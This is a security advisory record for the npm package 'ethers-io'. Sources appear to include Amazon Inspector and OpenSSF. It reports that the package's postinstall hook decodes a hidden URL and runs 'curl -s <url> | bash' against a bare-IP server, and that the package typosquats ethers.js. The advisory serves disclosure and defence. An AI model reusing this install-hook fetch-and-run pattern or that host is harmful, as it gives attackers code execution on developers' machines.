ethers-io

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14)
The package's `package.json` declares a `postinstall` script that base64-decodes a hidden URL (`http://8.217.75.147:3000/payload`) and pipes the HTTP response directly to `bash` via `curl -s <url> | bash`. On every `npm install`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name `ethers-io` and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at `github.com/ethers-utils/ethers-io` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.

## Source: ossf-package-analysis (096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0)
The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

Compromised versions (2)

• 2.0.0
• 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.